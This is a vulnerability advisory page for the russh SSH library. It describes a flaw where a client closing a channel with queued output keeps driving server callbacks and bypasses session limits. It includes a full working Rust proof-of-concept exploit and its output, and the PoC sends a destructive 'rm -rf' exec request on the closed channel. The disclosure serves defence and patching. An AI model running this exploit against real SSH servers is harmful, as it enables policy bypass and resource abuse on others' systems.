Vulnerability DatabaseGHSA-m6v5-wqxv-mffh

GHSA-m6v5-wqxv-mffh: 
Rust vulnerability analysis and mitigation

Summary

When an authenticated client sends SSH_MSG_CHANNEL_CLOSE for a session channel that still has outbound data waiting for window, the russh server calls Handler::channel_close and drops the Channel handle. It does not send its own CLOSE back, and it keeps the channel in the transport channel table as "established". After that, the client can keep sending CHANNEL_REQUEST (exec, shell, pty-req, subsystem, ...), CHANNEL_DATA, CHANNEL_WINDOW_ADJUST, CHANNEL_EOF and CHANNEL_CLOSE for that id. Each message reaches the matching Handler callback again, including channel_close any number of times. The client controls the trigger. It opens the channel with an initial window of 0, which RFC 4254 allows. Then any output the server writes (for example the response to exec) is queued. No server configuration is needed.

Details

  • russh/src/server/encrypted.rs:1444-1462 (CHANNEL_CLOSE): the handler checks is_established_channel, calls enc.close(channel_num), removes self.channels[channel_num] and calls handler.channel_close.
  • russh/src/session.rs:287-295 (Encrypted::close): if the channel has pending_data (has_pending_data_mut, session.rs:451), this only sets pending_close = true. No CLOSE is sent and the entry stays in enc.channels. The client will never adjust the window of a channel it has closed, so the deferred CLOSE never goes out.
  • russh/src/session.rs:145-149 (is_established_channel): this checks only "present in enc.channels and confirmed". It was added by the CVE-2026-68930 fix, and its own doc comment says an authenticated peer "must not be able to drive channel callbacks (data, exit_status, channel_close, ...)" for channels that are not open. It has no closed state, so the peer-closed channel still passes. The gates at server/encrypted.rs:1467 (EOF), :1478 (DATA), :1526 (WINDOW_ADJUST) and :1606 (REQUEST) therefore let the messages through.
  • Side effect: server/session.rs:681,791 stop reading the session's outbound queue while has_any_pending_data() is true. The connection's Handle-based output then stalls for good. This is the liveness symptom reported in #806. The client side (client/encrypted.rs:525-544) has the same code path, with a malicious server as the peer. It is reachable only when the client application queues data through Handle::data/Session::data, because Channel writers respect the window. Suggested fix When the peer sends CHANNEL_CLOSE, treat the channel as closed no matter what is still queued. Drop its pending_data and pending_eof, send CHANNEL_CLOSE right away (unless already sent), and remove it from enc.channels, so that is_established_channel rejects every later message for the id. The close_from_peer patch proposed in #806 does this for both the client and the server. Separately, it would be more robust to give ChannelParams an explicit "peer closed" flag and check it in is_established_channel. Then a deferred local close (pending_close) can never leave a channel that the peer can still drive.

Proof of concept

Self-contained reproducer: one src/main.rs. A raw client talks to a real russh::server::run_stream over loopback TCP, using the none kex/cipher/MAC as russh's own tests::raw_no_crypto does. The server Handler is a typical one that allows at most one open session channel per connection (incremented in channel_open_session, decremented in channel_close) and writes command output with session.data() in exec_request. Cargo.toml:

[package]
name = "callbacks-after-close"
version = "0.1.0"
edition = "2021"
[dependencies]
russh = "=0.65.1"
tokio = { version = "1", features = ["full"] }
bytes = "1"

src/main.rs:

//! russh 0.65.1 server: a CHANNEL_CLOSE for a channel with queued output (client window 0) is not
//! answered, and the channel keeps dispatching exec/data/close to the Handler afterwards.
//! Raw client over loopback TCP; `none` kex/cipher/mac as in russh's own tests::raw_no_crypto.
use std::borrow::Cow;
use std::sync::{Arc, Mutex};
use std::time::Duration;
use russh::keys::{ssh_key::private::Ed25519Keypair, Algorithm, PrivateKey};
use russh::server::{self, Auth, Msg, Session};
use russh::{cipher, compression, kex, mac, Channel, ChannelId, Preferred};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
/// A typical handler that allows at most ONE open session channel per connection.
#[derive(Clone, Default)]
struct H { open: Arc<Mutex<i64>>, ev: Arc<Mutex<Vec<String>>> }
impl H { fn log(&self, s: String) { println!("  [handler] {s}"); self.ev.lock().unwrap().push(s); } }
impl server::Handler for H {
    type Error = russh::Error;
    async fn auth_none(&mut self, _: &str) -> Result<Auth, Self::Error> { Ok(Auth::Accept) }
    async fn channel_open_session(&mut self, ch: Channel<Msg>, reply: server::ChannelOpenHandle, _: &mut Session) -> Result<(), Self::Error> {
        let n = { let mut n = self.open.lock().unwrap(); if *n >= 1 { None } else { *n += 1; Some(*n) } };
        match n {
            Some(n) => { self.log(format!("ACCEPT channel_open_session({:?}) open={n}", ch.id())); reply.accept().await }
            None => { self.log(format!("REJECT channel_open_session({:?})", ch.id())); reply.reject(russh::ChannelOpenFailure::AdministrativelyProhibited).await }
        }
        Ok(())
    }
    async fn exec_request(&mut self, c: ChannelId, d: &[u8], s: &mut Session) -> Result<(), Self::Error> {
        self.log(format!("exec_request({c:?}, {:?})", String::from_utf8_lossy(d)));
        s.data(c, bytes::Bytes::from_static(b"command output\n"))?; // queued if the client window is 0
        Ok(())
    }
    async fn data(&mut self, c: ChannelId, d: &[u8], _: &mut Session) -> Result<(), Self::Error> {
        self.log(format!("data({c:?}, {} bytes)", d.len())); Ok(())
    }
    async fn channel_close(&mut self, c: ChannelId, _: &mut Session) -> Result<(), Self::Error> {
        let n = { let mut n = self.open.lock().unwrap(); *n -= 1; *n };
        self.log(format!("channel_close({c:?}) open={n}")); Ok(())
    }
}
fn config() -> Arc<server::Config> {
    Arc::new(server::Config {
        inactivity_timeout: None,
        auth_rejection_time: Duration::from_millis(1),
        auth_rejection_time_initial: Some(Duration::from_millis(1)),
        preferred: Preferred {
            kex: Cow::Owned(vec![kex::NONE]), key: Cow::Owned(vec![Algorithm::Ed25519]),
            cipher: Cow::Owned(vec![cipher::NONE]), mac: Cow::Owned(vec![mac::NONE]),
            compression: Cow::Owned(vec![compression::NONE]), ..Preferred::default()
        },
        keys: vec![PrivateKey::from(Ed25519Keypair::from_seed(&[1; 32]))],
        ..Default::default()
    })
}
// ---- minimal raw SSH client (unencrypted binary packets) ----
fn u32b(b: &mut Vec<u8>, v: u32) { b.extend_from_slice(&v.to_be_bytes()); }
fn sb(b: &mut Vec<u8>, v: &[u8]) { u32b(b, v.len() as u32); b.extend_from_slice(v); }
struct Raw(TcpStream);
impl Raw {
    async fn send(&mut self, p: &[u8]) {
        let mut pad = 8 - (5 + p.len()) % 8; if pad < 4 { pad += 8; }
        let mut f = Vec::new(); u32b(&mut f, (1 + p.len() + pad) as u32); f.push(pad as u8);
        f.extend_from_slice(p); f.resize(f.len() + pad, 0);
        self.0.write_all(&f).await.unwrap();
    }
    async fn read(&mut self) -> Option<Vec<u8>> {
        tokio::time::timeout(Duration::from_millis(300), async {
            let mut l = [0; 4]; self.0.read_exact(&mut l).await.ok()?;
            let mut p = vec![0; u32::from_be_bytes(l) as usize]; self.0.read_exact(&mut p).await.ok()?;
            let pad = p[0] as usize; Some(p[1..p.len() - pad].to_vec())
        }).await.ok().flatten()
    }
    async fn drain(&mut self) -> Vec<u8> { let mut v = vec![]; while let Some(p) = self.read().await { v.push(p[0]); } v }
    async fn connect(h: H) -> Raw {
        let l = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
        let addr = l.local_addr().unwrap();
        tokio::spawn(async move { let (s, _) = l.accept().await.unwrap(); let _ = server::run_stream(config(), s, h).await.unwrap().await; });
        let mut s = TcpStream::connect(addr).await.unwrap();
        s.write_all(b"SSH-2.0-raw\r\n").await.unwrap();
        loop { let mut b = [0]; s.read_exact(&mut b).await.unwrap(); if b[0] == b'\n' { break; } }
        let mut r = Raw(s);
        r.read().await.unwrap(); // server KEXINIT
        let mut ki = vec![20u8]; ki.extend_from_slice(&[0; 16]);
        for n in ["none", "ssh-ed25519", "none", "none", "none", "none", "none", "none", "", ""] { sb(&mut ki, n.as_bytes()); }
        ki.push(0); u32b(&mut ki, 0);
        r.send(&ki).await; assert_eq!(r.read().await.unwrap()[0], 21); r.send(&[21]).await; // NEWKEYS
        let mut sr = vec![5u8]; sb(&mut sr, b"ssh-userauth"); r.send(&sr).await; assert_eq!(r.read().await.unwrap()[0], 6);
        let mut a = vec![50u8]; sb(&mut a, b"u"); sb(&mut a, b"ssh-connection"); sb(&mut a, b"none");
        r.send(&a).await; assert_eq!(r.read().await.unwrap()[0], 52); // USERAUTH_SUCCESS
        r
    }
    /// CHANNEL_OPEN "session"; returns the server's channel id, or None if rejected.
    async fn open(&mut self, id: u32, window: u32) -> Option<u32> {
        let mut o = vec![90u8]; sb(&mut o, b"session"); u32b(&mut o, id); u32b(&mut o, window); u32b(&mut o, 32768);
        self.send(&o).await; let c = self.read().await.unwrap();
        (c[0] == 91).then(|| u32::from_be_bytes(c[5..9].try_into().unwrap()))
    }
    async fn exec(&mut self, ch: u32, cmd: &[u8]) { let mut p = vec![98u8]; u32b(&mut p, ch); sb(&mut p, b"exec"); p.push(0); sb(&mut p, cmd); self.send(&p).await; }
    async fn data(&mut self, ch: u32, d: &[u8]) { let mut p = vec![94u8]; u32b(&mut p, ch); sb(&mut p, d); self.send(&p).await; }
    async fn close(&mut self, ch: u32) { let mut p = vec![97u8]; u32b(&mut p, ch); self.send(&p).await; }
}
async fn run(window: u32) {
    let h = H::default();
    let mut r = Raw::connect(h.clone()).await;
    let ch = r.open(0, window).await.unwrap();
    r.exec(ch, b"id").await; r.drain().await;
    r.close(ch).await;
    let reply = r.drain().await;
    println!("client <- {reply:?} after CHANNEL_CLOSE #1  (97 = CHANNEL_CLOSE; RFC 4254 5.3: server MUST answer CLOSE)");
    r.exec(ch, b"rm -rf /tmp/after-close").await;
    r.data(ch, b"stdin after close").await;
    r.close(ch).await;
    r.close(ch).await;
    r.drain().await;
    // The handler allows one session at a time; the only session was closed (three times).
    for id in 10..13 { if let Some(c) = r.open(id, 1 << 20).await { r.exec(c, b"id").await; } }
    r.exec(ch, b"still-alive").await;
    r.drain().await;
    let ev = h.ev.lock().unwrap();
    println!("RESULT window={window}: channel_close calls = {}, callbacks for the closed channel after its first close = {}, new sessions accepted (limit 1) = {}, app counter = {}\n",
        ev.iter().filter(|e| e.starts_with("channel_close")).count(),
        ev.iter().skip_while(|e| !e.starts_with("channel_close")).skip(1).filter(|e| e.contains("ChannelId(2)")).count(),
        ev.iter().filter(|e| e.starts_with("ACCEPT")).count() - 1,
        *h.open.lock().unwrap());
}
#[tokio::main]
async fn main() {
    println!("== control: client window 1 MiB ==");
    run(1 << 20).await;
    println!("== client window 0 (output stays queued) ==");
    run(0).await;
}

Run cargo run --release. The same flow runs twice: first with a normal client window (control), then with an initial window of 0, so the exec output stays queued. The flow is: open a session, exec "id", CHANNEL_CLOSE, then exec, CHANNEL_DATA and two more CHANNEL_CLOSEs on the same id, then three more session opens, then exec on the closed channel again. Output on 0.65.1:

== control: client window 1 MiB ==
  [handler] ACCEPT channel_open_session(ChannelId(2)) open=1
  [handler] exec_request(ChannelId(2), "id")
  [handler] channel_close(ChannelId(2)) open=0
client <- [97] after CHANNEL_CLOSE #1  (97 = CHANNEL_CLOSE; RFC 4254 5.3: server MUST answer CLOSE)
  [handler] ACCEPT channel_open_session(ChannelId(3)) open=1
  [handler] exec_request(ChannelId(3), "id")
  [handler] REJECT channel_open_session(ChannelId(4))
  [handler] REJECT channel_open_session(ChannelId(5))
RESULT window=1048576: channel_close calls = 1, callbacks for the closed channel after its first close = 0, new sessions accepted (limit 1) = 1, app counter = 1
== client window 0 (output stays queued) ==
  [handler] ACCEPT channel_open_session(ChannelId(2)) open=1
  [handler] exec_request(ChannelId(2), "id")
  [handler] channel_close(ChannelId(2)) open=0
client <- [] after CHANNEL_CLOSE #1  (97 = CHANNEL_CLOSE; RFC 4254 5.3: server MUST answer CLOSE)
  [handler] exec_request(ChannelId(2), "rm -rf /tmp/after-close")
  [handler] data(ChannelId(2), 17 bytes)
  [handler] channel_close(ChannelId(2)) open=-1
  [handler] channel_close(ChannelId(2)) open=-2
  [handler] ACCEPT channel_open_session(ChannelId(3)) open=-1
  [handler] exec_request(ChannelId(3), "id")
  [handler] ACCEPT channel_open_session(ChannelId(4)) open=0
  [handler] ACCEPT channel_open_session(ChannelId(5)) open=1
  [handler] exec_request(ChannelId(4), "id")
  [handler] exec_request(ChannelId(2), "still-alive")
RESULT window=0: channel_close calls = 3, callbacks for the closed channel after its first close = 5, new sessions accepted (limit 1) = 3, app counter = 1

With window 0 the first CLOSE is not answered, exec_request, data and channel_close keep firing for the closed channel, and the repeated channel_close calls let the client open three more sessions past a limit of one while the "closed" channel still runs exec. Expected (as in the control): the server answers the first CLOSE, calls channel_close once, and dispatches nothing for that id afterwards.

Impact

An authenticated client can keep using a channel after the server application has been told it is closed, and can make channel_close fire as often as it likes. Servers that tie resources or policy to the channel lifecycle are affected. Examples: a concurrent-session limit, killing the spawned process or PTY in channel_close, releasing a quota or an upstream connection in a bastion. Such servers can be made to bypass the limit, start new work for a channel they already cleaned up (and that work is never cleaned up), or release the same resource twice. This is the impact CVE-2026-68930 described ("bypass the server application's channel-open policy"), reached through the closed state instead of the never-opened state. The client needs valid credentials and acts on its own connection. The session-wide outbound stall affects only that connection.


Source: NVD

Related Rust vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-xm3f-jwj9-3x8mMEDIUM4.5
  • Rust logoRust
  • russh-config
NoYesNov 21, 2026
GHSA-m6v5-wqxv-mffhMEDIUM4.3
  • Rust logoRust
  • russh
NoYesNov 21, 2026
GHSA-66vf-xq4p-pg7qLOW3.7
  • Rust logoRust
  • russh
NoYesNov 21, 2026
GHSA-7qgr-cjxw-6vjfLOW3.1
  • Rust logoRust
  • russh
NoYesNov 21, 2026
GHSA-v3vc-7662-5hv7LOWN/A
  • Rust logoRust
  • russh
NoYesNov 21, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management